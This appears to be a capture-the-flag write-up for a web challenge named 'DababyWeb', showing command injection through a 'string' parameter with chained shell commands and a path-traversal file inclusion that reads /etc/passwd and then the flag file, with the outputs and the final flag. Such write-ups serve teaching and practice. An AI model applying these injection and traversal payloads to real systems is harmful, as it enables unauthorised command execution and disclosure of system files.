Tags: web command_injection lfi
Rating:
# Challenge Name: DababyWeb
## Detailed solution
Starting by opening challenge link http://34.72.118.158:6284/
We can see two links **Dababy's Name Judgement** and **Dababy's Images**
Let's check the page source
```html
<html
body, html{
height= 100%;
}
<div style ="background-image: url('/img/dababy.jpg')"
height= 100%;
background=size: cover;
>
<h1 style= color:black;font-size:40px;>
"Dababy has his secret message hidden somwhere, but how can we read it?"
We have two php files **fun.php** adn **fun1.php** let's check them
**fun.php**
http://34.72.118.158:6284/fun.php
It's **DaBaby Cool Name Convertable** it gives the output : "our input" Is a Cool Name Lesss Go!
We can see that we have a get parametre **string** fun.php?string=input
Let's try some command injection, i started with chaining commands using ";"
Using the command **ls** http://34.72.118.158:6284/fun.php?string=%3B+ls
Output : ``` dababy.sh Is a Cool Name Lesss Go! ```
We can see that our command has been executed, we found a file in our directory
I tried the read the file using cat ``` ; cat dababy.sh ```
Output : ``` Dababy say's no peaking ```
I tried also other commands but it shows the same thing or a picture xd :
I used the command cd and ls to search for a flag file using ;cd && ls http://34.72.118.158:6284/fun.php?string=%3Bcd+..+%26%26+ls
Output : ``` flag.txt Is a Cool Name Lesss Go! ```
i found the flag.txt path
**fun1.php**
http://34.72.118.158:6284/fun1.php?file=suge
We can see the the fun1.php has a get parametre file that show a txt file suge at the first bloc
I started by checking for LFI http://34.72.118.158:6284/fun1.php?file=../../../../../etc/passwd
Output
```
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```
We were able to perform a local file inclusion to read the passwd file, now let's read our flag.txt
http://34.72.118.158:6284/fun1.php?file=../flag.txt
And we got our flag
## Flag
```
RS{J3TS0N_M4D3_4N0TH3R_0N3}
```
